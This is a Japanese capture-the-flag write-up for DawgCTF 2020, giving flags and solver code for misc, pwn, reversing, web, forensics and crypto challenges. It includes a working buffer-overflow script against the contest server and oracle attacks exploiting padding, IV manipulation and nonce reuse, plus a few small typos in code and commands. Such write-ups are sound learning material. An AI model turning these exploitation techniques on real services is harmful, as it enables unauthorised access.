この大会は2020/4/11 7:00(JST)~2020/4/13 7:00(JST)に開催されました。
今回もチームで参戦。結果は3720点で1237チーム中71位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc 10)
問題にフラグが書いてあった。
DawgCTF{fr33_fl@gs}
Socialize with Social Distance (10)
Discordに入り、#generalチャネルのトピックをコピペする。
Welcome to DawgCTF! We'd like to take a moment to thank all of our wonderful sponsors for supporting us throughout this event (feel free to hit them up in #sponsor-networking) - Tensley Consulting - http://tensleyconsulting.com/ - Blue Star Software - https://blue-star-software.com/ - Novetta - https://www.novetta.com/ - ClearEdge - http://clearedgeit.com/ - Percival Engineering - https://www.percivaleng.com/ - HackerOne - https://www.hackerone.com/ DawgCTF{h3y_wh@ts_uP_h3ll0}
DawgCTF{h3y_wh@ts_uP_h3ll0}
Let Her Eat Cake! (Misc 75)
Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja? GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx}
ページに表示されているこの暗号をVigenere暗号と推測して、以下のサイトで復号する。
https://www.guballa.de/vigenere-solver
Howdoyoukeepaprogrammerintheshowerallday? GivehimabottleofshampoowhichsaysLatherrinserepeatDawgCTF{ClearEdge_crypto}
DawgCTF{ClearEdge_crypto}
On Lockdown (Pwn 50)
$ file onlockdown onlockdown: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a905fea890d0a3e0a3acf9e9a9f2538738c009e1, for GNU/Linux 3.2.0, not stripped
ソースコードを見ると、BOFするようなコードになっている。64バイトのバッファの後、0xdeadbeefになるようデータを送信する。
from pwn import * conn = remote('ctf.umbccd.io', 4500) #conn = process('./onlockdown') data = conn.recvline() print data data = conn.recvline() print data payload = 'A' * 64 payload += p32(0xdeadbabe) print payload conn.sendline(payload) data = conn.recvline() print data
実行結果は以下の通り。
[+] Opening connection to ctf.umbccd.io on port 4500: Done I made this really cool flag but Governor Hogan put it on lockdown Can you convince him to give it to you? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xad� DawgCTF{s3ri0u$ly_st@y_h0m3} [*] Closed connection to ctf.umbccd.io port 4500
DawgCTF{s3ri0u$ly_st@y_h0m3}
Ask Nicely (Reversing 50)
$ gdb -q asknicely Reading symbols from asknicely...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 putchar@plt 0x0000000000001040 strncmp@plt 0x0000000000001050 puts@plt 0x0000000000001060 __stack_chk_fail@plt 0x0000000000001080 _start 0x00000000000010b0 deregister_tm_clones 0x00000000000010e0 register_tm_clones 0x0000000000001120 __do_global_dtors_aux 0x0000000000001160 frame_dummy 0x0000000000001165 flag 0x000000000000122a main 0x0000000000001350 __libc_csu_init 0x00000000000013b0 __libc_csu_fini 0x00000000000013b4 _fini gdb-peda$ b main Breakpoint 1 at 0x122e gdb-peda$ r Starting program: /mnt/hgfs/Shared/asknicely [----------------------------------registers-----------------------------------] RAX: 0x55555555522a (<main>: push rbp) RBX: 0x0 RCX: 0x0 RDX: 0x7fffffffddb8 --> 0x7fffffffe168 ("XDG_VTNR=7") RSI: 0x7fffffffdda8 --> 0x7fffffffe14d ("/mnt/hgfs/Share"...) RDI: 0x1 RBP: 0x7fffffffdcc0 --> 0x555555555350 (<__libc_csu_init>: push r15) RSP: 0x7fffffffdcc0 --> 0x555555555350 (<__libc_csu_init>: push r15) RIP: 0x55555555522e (<main+4>: sub rsp,0x30) R8 : 0x5555555553b0 (<__libc_csu_fini>: ret) R9 : 0x7ffff7de7ac0 (<_dl_fini>: push rbp) R10: 0x2a (b'*') R11: 0x7ffff7b95300 --> 0xfff229defff228ec R12: 0x555555555080 (<_start>: xor ebp,ebp) R13: 0x7fffffffdda0 --> 0x1 R14: 0x0 R15: 0x0 [-------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] Breakpoint 1, 0x000055555555522e in main () gdb-peda$ call flag() DawgCTF{+h@nK_Y0U} $1 = 0xa
DawgCTF{+h@nK_Y0U}
The Lady is a Smuggler (Web/Networking 25)
HTMLソースを見ると、フラグが書いてある部分がある。
<img src="https://media.defense.gov/2018/Sep/03/2001961221/400/400/0/180903-D-IM742-2028.JPG?flag=DawgCTF{ClearEdge_ElizebethSmith)">
DawgCTF{ClearEdge_ElizebethSmith}
Free Wi-Fi Part 1 (Web/Networking 50)
httpでフィルタリングする。staff.htmlにアクセスしていることがわかる。https://freewifi.ctf.umbccd.io/staff.htmlにアクセスすると、フラグが書いてある。
DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l}
Tracking (Web/Networking 100)
HTMLソースを見ると、Tracking Pixelに関する部分がある。
<img src=".." height="1px" width="1px" onclick="alert(String.fromCharCode(68,97,119,103,67,84,70,123,67,108,101,97,114,69,100,103,101,95,117,110,105,125))
このASCIIコードを文字にする。
codes = [68,97,119,103,67,84,70,123,67,108,101,97,114,69,100,103,101,95,117,110,105,125] flag = '' for code in codes: flag += chr(code) print flag
DawgCTF{ClearEdge_uni}
My First Pcap (Forensics 50)
httpでフィルタリングし、GET /flag.txtのレスポンスを見る。
RGF3Z0NURntuMWMzX3kwdV9mMHVuZF9tM30=\n
$ echo RGF3Z0NURntuMWMzX3kwdV9mMHVuZF9tM30= | base64 -d DawgCTF{n1c3_y0u_f0und_m3}
DawgCTF{n1c3_y0u_f0und_m3}
Another Pcap (Forensics 100)
httpでフィルタリングする。No.314のパケットに GET /nothinghere.tar.gzのレスポンスデータがあるので、エクスポートする。
$ gzip -dc nothinghere.tar.gz | tar xvf - flag.txt $ cat flag.txt RGF3Z0NURnszeHRyNGN0MW5nX2YxbDM1XzFzX2Z1bn0= $ cat flag.txt | base64 -d DawgCTF{3xtr4ct1ng_f1l35_1s_fun}
DawgCTF{3xtr4ct1ng_f1l35_1s_fun}
Baby Onion (Coding 150)
何重にもbase64、hexエンコードが行われているので、繰り返しデコードする。
with open('baby.onion', 'r') as f: data = f.read().rstrip() while True: try: data = data.decode('hex') data = data.decode('base64') except: break print data
DawgCTF{b@by_0n10ns_c@n_$t1ll_Mak3_u_cRy!?!?}
Arthur Ashe (Coding 150)
$ nc arthurashe.ctf.umbccd.io 8411 Welcome to the Arthur Ashe stadium! We'll keep sending you scores if you keep sending us who wins (0 or 1). Do try to keep the crowd happy, won't you [Y/n]?y The result of this set is set-1.0 The result of this set is 4-5.0 YOU CANNOT BE SERIOUS! That's wrong! Leave! $ nc arthurashe.ctf.umbccd.io 8411 Welcome to the Arthur Ashe stadium! We'll keep sending you scores if you keep sending us who wins (0 or 1). Do try to keep the crowd happy, won't you [Y/n]?y The result of this set is 4-3.1 YOU CANNOT BE SERIOUS! That's wrong! Leave! $ nc arthurashe.ctf.umbccd.io 8411 Welcome to the Arthur Ashe stadium! We'll keep sending you scores if you keep sending us who wins (0 or 1). Do try to keep the crowd happy, won't you [Y/n]?y The result of this game is 30-15.0 The result of this set is 2-set.0 YOU CANNOT BE SERIOUS! That's wrong! Leave! $ nc arthurashe.ctf.umbccd.io 8411 Welcome to the Arthur Ashe stadium! We'll keep sending you scores if you keep sending us who wins (0 or 1). Do try to keep the crowd happy, won't you [Y/n]?y The result of this match is 2-love.0 The result of this game is 15-40.1 The result of this game is game-40.1 YOU CANNOT BE SERIOUS! That's wrong! Leave!
どうやらテニスのルールになっているようで、勝者を左が0, 右が1で選択する。
love = 0, game -> win, set -> win
何回か正解すれば、フラグが出るかと思ったら、出てこなかった。0, 1で答えているので、この2進数の文字列を文字にすればフラグになると推定し、プログラムにする。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def get_win(s): s = s.replace('love', '0') s = s.replace('set', '99') s = s.replace('game', '99') l = int(s.split('-')[0]) r = int(s.split('-')[1]) if l > r: return '0' else: return '1' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('arthurashe.ctf.umbccd.io', 8411)) data = recvuntil(s, '?').rstrip() print data + 'Y' s.sendall('Y\n') ans_bin = '' for i in range(504): print 'Round %d' % (i + 1) data = recvuntil(s, '.') print data, score = data[:-1].split(' ')[6] ans = get_win(score) print ans s.sendall(ans + '\n') ans_bin += ans data = recvuntil(s, 'you!') print data flag = '' for i in range(0, len(ans_bin), 8): flag += chr(int(ans_bin[i:i+8], 2)) print flag
実行結果は以下の通り。
: Round 504 The result of this match is 2-1. 0 You did great! Thank you! The Flag is DawgCTF{L0v3_Me@n5_N07h1ng_!n_T#e_G@m3_Of_T3nn15.}.
DawgCTF{L0v3_Me@n5_N07h1ng_!n_T#e_G@m3_Of_T3nn15.}
Take It Back Now, Y'all (Crypto 25)
tstをflgに変えて、送信する。
# -*- coding: utf-8 -*- """ Created for Spring 2020 CTF Cryptography 0 10 Points Welcome to my sanity check. You'll find this to be fairly easy. The oracle is found at umbccd.io:13370, and your methods are: flg - returns the flag tst - returns the message after the : in "tst:..." @author: pleoxconfusa """ import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = ('crypto.ctf.umbccd.io', 13370) sock.connect(server_address) #available methods: flg, tst. msg = 'flg:hello' sock.sendall(msg.encode()) data = sock.recv(1024) print(data.decode()) sock.close()
DawgCTF{H3ll0_W0rld!}
One Hop This Time, One Hop This Time (Crypto 75)
encとdecのXORが鍵になるので、その鍵でflagを復号する。
# -*- coding: utf-8 -*- """ Created for Spring 2020 CTF Cryptography 1 40 Points Welcome to the one time pad oracle! Our oracle's function is enc := key ^ msg | dec := key ^ ct The oracle is found at umbccd.io:13371, and your methods are: flg - returns the encrypted flag enc - returns the encryption of the message after the : in "enc:..." dec - returns the decryption of the ciphertext after the : in "dec:..." @author: pleoxconfusa """ import socket def str_xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = ('crypto.ctf.umbccd.io', 13371) sock.connect(server_address) #available methods: flg, enc, dec. msg = 'flg'.encode() sock.sendall(msg) flg = sock.recv(1024) print(flg) #not decoded, because now the oracle sends encrypted bytes. msg = 'enc:LET ME IN!!!'.encode() print msg sock.sendall(msg) enc = sock.recv(1024) msg = b'dec:' + enc sock.sendall(msg) dec = sock.recv(1024) print(dec) #sanity check sock.close() flag = str_xor(str_xor(enc, dec), flg) print flag
DawgCTF{P@dding_M0r3_L1K3_S@dding_@mir!73}
Right Foot Two Stomps (Crypto 200)
AES-CBC likeな暗号のようだ。とりあえずそのままフラグを復号してみる。
# -*- coding: utf-8 -*- import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.ctf.umbccd.io', 13372)) msg = 'flg' s.sendall(msg) enc_flag = s.recv(1024) print enc_flag msg = 'dec:' + enc_flag s.sendall(msg) dec = s.recv(1024) print(dec)
実行結果は以下の通り。
p]イ・廳ッ!ヨ・N秕]・・_ウZi#8[2ヤ・-「・・寛細_ R!.オ€・・Us ヌィbE Nice try.
やはりダメ。IVの一部を変えて復号した後、変更した部分をXORで元に戻すことにする。
# -*- coding: utf-8 -*- import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.ctf.umbccd.io', 13372)) msg = 'flg' s.sendall(msg) enc_flag = s.recv(1024) print enc_flag try_head = 'a' msg = 'dec:' + try_head + enc_flag[1:] s.sendall(msg) dec = s.recv(1024) flag1_head = chr(ord(dec[0]) ^ ord(try_head) ^ ord(enc_flag[0])) flag = flag1_head + dec[1:] print flag ||, 実行結果は以下の通り。 >|| p]イ・廳ッ!ヨ・N秕]・・_ウZi#8[2ヤ・-「・・寛細_ R!.オ€・・Us ヌィbE DawgCTF{!_Th0ugh7_Th3_C!ph3rt3x7_W@s_Sh0rt3r.}
DawgCTF{!_Th0ugh7_Th3_C!ph3rt3x7_W@s_Sh0rt3r.}
Left Foot Two Stomps (Crypto 250)
nを素因数分解する。
$ python -m primefac 960242069 960242069: 151 6359219
あとはcのそれぞれの要素について復号する。
from Crypto.Util.number import * n = 960242069 e = 347 cs = [346046109, 295161774, 616062960, 790750242, 259677897, 945606673, 321883599, 625021022, 731220302, 556994500, 118512782, 843462311, 321883599, 202294479, 725148418, 725148418, 636253020, 70699533, 475241234, 530533280, 860892522, 530533280, 657690757, 110489031, 271790171, 221180981, 221180981, 278854535, 202294479, 231979042, 725148418, 787183046, 346046109, 657690757, 530533280, 770057231, 271790171, 584652061, 405302860, 137112544, 137112544, 851931432, 118512782, 683778547, 616062960, 508395428, 271790171, 185391473, 923405109, 227720616, 563542899, 770121847, 185391473, 546341739, 851931432, 657690757, 851931432, 284629213, 289862692, 788320338, 770057231, 770121847] p = 151 q = 6359219 phi = (p - 1) * (q - 1) d = inverse(e, phi) msg = '' for c in cs: m = pow(c, d, n) msg += chr(m) print msg enc = msg.split('|')[0].decode('base64') key = msg.split('|')[1] flag = '' for i in range(len(enc)): code = ord(enc[i]) ^ ord(key[i%len(key)]) flag += chr(code) print flag
復号した結果は以下の通り。
xhBQCUIcbPf7IN88AT9FDFsqEOOjNM8uxsFrEJZRRifKB1E=|key=visionary
Vigenere暗号と推測し、以下のサイトで復号する。
https://www.dcode.fr/vigenere-cipher
czJIOHIldUx7QF88MG9FMHxiMGAwNV8wckNjQWZATnxST1Q=
$ echo czJIOHIldUx7QF88MG9FMHxiMGAwNVkNjQWZATnxST1Q= | base64 -d s2H8r%uL{@_<0oE0|b0`05_0rCcAf@N|ROT
Caesar暗号と推測し、以下のサイトで復号する。
https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
ROT47でフラグになった。
DawgCTF{Lo0k_@t_M3_1_d0_Cr4p7o}
Slide To The Left (Crypto 350)
Right Foot Two Stompsと同じ解き方で解ける。
# -*- coding: utf-8 -*- import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.ctf.umbccd.io', 13373)) msg = 'flg' s.sendall(msg) enc_flag = s.recv(1024) print enc_flag try_head = 'a' msg = 'dec:' + try_head + enc_flag[1:] s.sendall(msg) dec = s.recv(1024) flag1_head = chr(ord(dec[0]) ^ ord(try_head) ^ ord(enc_flag[0])) flag = flag1_head + dec[1:] print flag
DawgCTF{@_Ch4IN_i2_N0_S7R0n93R_7H4N_i72_W34k3S7_L!NK_4nD_lif3_!2_Af73r_4Ll_@_Ch4IN.}
Slide To The Right (Crypto 400)
nonceだけ合わせれば、認証タグ以外の部分でXORでフラグを導ける。
# -*- coding: utf-8 -*- import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def str_xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.ctf.umbccd.io', 13376)) msg = 'flg' s.sendall(msg) enc_flag = s.recv(1024) print enc_flag nonce = enc_flag[:16] enc_flag = enc_flag[16:-16] pt = 'a' * len(enc_flag) msg = 'enc:' + nonce + pt s.sendall(msg) enc = s.recv(1024) print enc nonce2 = enc[:16] enc = enc[16:-16] assert nonce == nonce2 flag = str_xor(str_xor(pt, enc), enc_flag) print flag
DawgCTF{3v3ryb0dy_cl@p_y0ur_h&s!*cl@p*x33}